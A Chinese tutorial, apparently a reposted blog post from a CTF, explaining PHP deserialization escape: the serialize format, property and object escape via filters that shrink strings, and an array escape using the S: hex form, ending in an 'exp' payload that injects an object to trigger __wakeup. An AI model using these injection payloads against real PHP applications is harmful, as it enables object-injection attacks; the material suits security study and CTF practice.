php反序列化逃逸

Delina

原文链接：php反序列化逃逸
                                                                                                   

最近在打一个ctf的时候，接触到php反序列化逃逸。

这个知识点挺有意思的

首先序列化字符串各个字符的含义

1. 类型    结构
   
2. String    s:size:value;
   
3. Integer    i:value;
   
4. Boolean    b:value;(1或0)
   
5. Null    N;
   
6. Array    a:size:{key definition;value definition;(repeated per element)}
   
7. Object    O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
   
8. 
   
9. 例如：O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}
   
10. O代表对象；4代表对象名长度；2代表2个成员变量；

复制代码

先来看一段正常的php代码

知识点一-反序列化分隔符

反序列化以;}结束，后面的字符串不影响正常的反序列化

1. <?php
   
2. 
   
3. class A
   
4. {
   
5.     public $v1 = "a";
   
6. }
   
7. 
   
8. //正常序列化
   
9. echo serialize(new A());
   
10. // O:1:"A":1:{s:2:"v1";s:1:"a";}
    
11. 
    
12. 
    
13. //反序列化以;}结束，后面的字符串不影响正常的反序列化
    
14. $b = unserialize('O:1:"A":1:{s:2:"v1";s:1:"a";}dasdasdasdasdasdsa');
    
15. var_dump($b);
    
16. /*object(A)#1 (1) {
    
17. ["v1"]=>
    
18.   string(1) "a"
    
19. }*/

复制代码

知识点二-属性逃逸

一般在数据先经过一次serialize再经过unserialize，在这个中间反序列化的字符串变多或者变少的时候才有可能存在逃逸

文字比较绕，看代码

1. <?php
   
2. 
   
3. class A
   
4. {
   
5.     public $v1 = "abcsystem()";
   
6.     public $v2 = "123";
   
7. }
   
8. 
   
9. $data =  serialize(new A());
   
10. //O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:1:"b";}
    
11. 
    
12. $data = str_replace("system()","",$data);
    
13. //echo $data;
    
14. //O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
    
15. //这个地方 s:11,代表属性有11个字符串，但是实际上经过过滤以后只剩下abc三个字符串了，这里就存在php反序列化逃逸的问题
    
16. 
    
17. 
    
18. class B
    
19. {
    
20.     public $v1 = "abcsystem()system()system()";
    
21.     public $v2 = '1234567";s:2:"v3";s:1:"a";};';
    
22. }
    
23. 
    
24. $data =  serialize(new B());
    
25. $data = str_replace("system()","",$data);
    
26. echo $data."\n";
    
27. var_dump(unserialize($data));
    
28. /*O:1:"B":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:1:"a";};";}
    
29. object(B)#1 (3) {
    
30.   ["v1"]=>
    
31.   string(27) "abc";s:2:"v2";s:28:"1234567"
    
32.   ["v2"]=>
    
33.   string(28) "1234567";s:2:"v3";s:1:"a";};"
    
34. ["v3"]=>
    
35.   string(1) "a"
    
36. }*/
    
37. 
    
38. 
    

复制代码

成功逃逸出v3属性

知识点三-object逃逸

看代码

1. <?php
   
2. 
   
3. //object 反序列化逃逸
   
4. class A
   
5. {
   
6.     public $v1 = "systemsystemsystem123456";
   
7.     public $v2 = '1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}';    // 准备逃逸的字符
   
8. }
   
9. 
   
10. class C{
    
11.     public $a = "1";
    
12. }
    
13. 
    
14. $a = new A();
    
15. $data = serialize($a);
    
16. 
    
17. $data = str_replace("system", "", $data);
    
18. echo $data."\n";
    
19. var_dump(unserialize($data));
    
20. /*O:1:"A":2:{s:2:"v1";s:24:"123456";s:2:"v2";s:43:"1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}";}
    
21. object(A)#2 (3) {
    
22.   ["v1"]=>
    
23.   string(24) "123456";s:2:"v2";s:43:"1"
    
24.   ["v2"]=>
    
25.   string(43) "1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}"
    
26. ["v3"]=>
    
27.   object(C)#3 (1) {
    
28.   ["a"]=>
    
29.     string(3) "123"
    
30.   }
    
31. }*/

复制代码

知识点四-数组逃逸

以碰到的ctf题目来进行讲解

题目化简后如下

1. <?php
   
2. 
   
3. class A
   
4. {
   
5.     public function __wakeup()
   
6.     {
   
7.         echo "flag";
   
8.     }
   
9. }
   
10. 
    
11. $post = $_POST;
    
12. $data = serialize($post);
    
13. $serialize_data=  preg_replace('/s:/', 'S:', $data) . "\n";
    
14. unserialize($serialize_data);

复制代码

这里会把反序列化字符串中的s替换成S，然后你会发现并没有什么异常，一样可以正常反序列化。

实际上是不一样的

小s，反序列化字符串

s:1:"a";s:3:"123";

大S，反序列化字符串中的值可以用十六进制进行表示

s:1:"a";S:1:"/00";

我们在输入的输入中，传输/00字符串，在经过程序过滤以后会将这种字符串看成一个字符串从而造成了反序列化逃逸

另外要注意一下数组反序列化的格式和object的格式有点不一样

Array a:size:{key definition;value definition;(repeated per element)}

exp

1. <?php
   
2. 
   
3. class A
   
4. {
   
5.     public function __wakeup()
   
6.     {
   
7.         echo "flag";
   
8.     }
   
9. }
   
10. 
    
11. $post = $_POST;
    
12. $data = serialize($post);
    
13. $serialize_data=  preg_replace('/s:/', 'S:', $data) . "\n";
    
14. unserialize($serialize_data);
    
15. 
    
16. //$a = new A();
    
17. //echo serialize($a);
    
18. //exit();
    
19. 
    
20. $post = array("a" => '\00\00\00\00\00\00\00',
    
21.     'S:1:"a";S:1:"a";O:1:"A":0:{}}' => '',
    
22. );
    
23. 
    
24. $serialize_data = serialize($post);
    
25. echo $serialize_data . "\n";;
    
26. //a:2:{s:1:"a";s:21:"\00\00\00\00\00\00\00";s:29:"S:1:"a";S:1:"a";O:1:"A":0:{}}";s:0:"";}
    
27. 
    
28. $serialize_data=  preg_replace('/s:/', 'S:', $serialize_data) . "\n";
    
29. echo $serialize_data;
    
30. //a:2:{S:1:"a";S:21:"\00\00\00\00\00\00\00";S:29:"S:1:"a";S:1:"a";O:1:"A":0:{}}";S:0:"";}
    
31. 
    
32. $data = unserialize($serialize_data);
    
33. var_dump($data);
    
34. /*array(1) {
    
35.     ["a"]=>
    
36.   object(A)#1 (0) {
    
37.   }
    
38. }*/

复制代码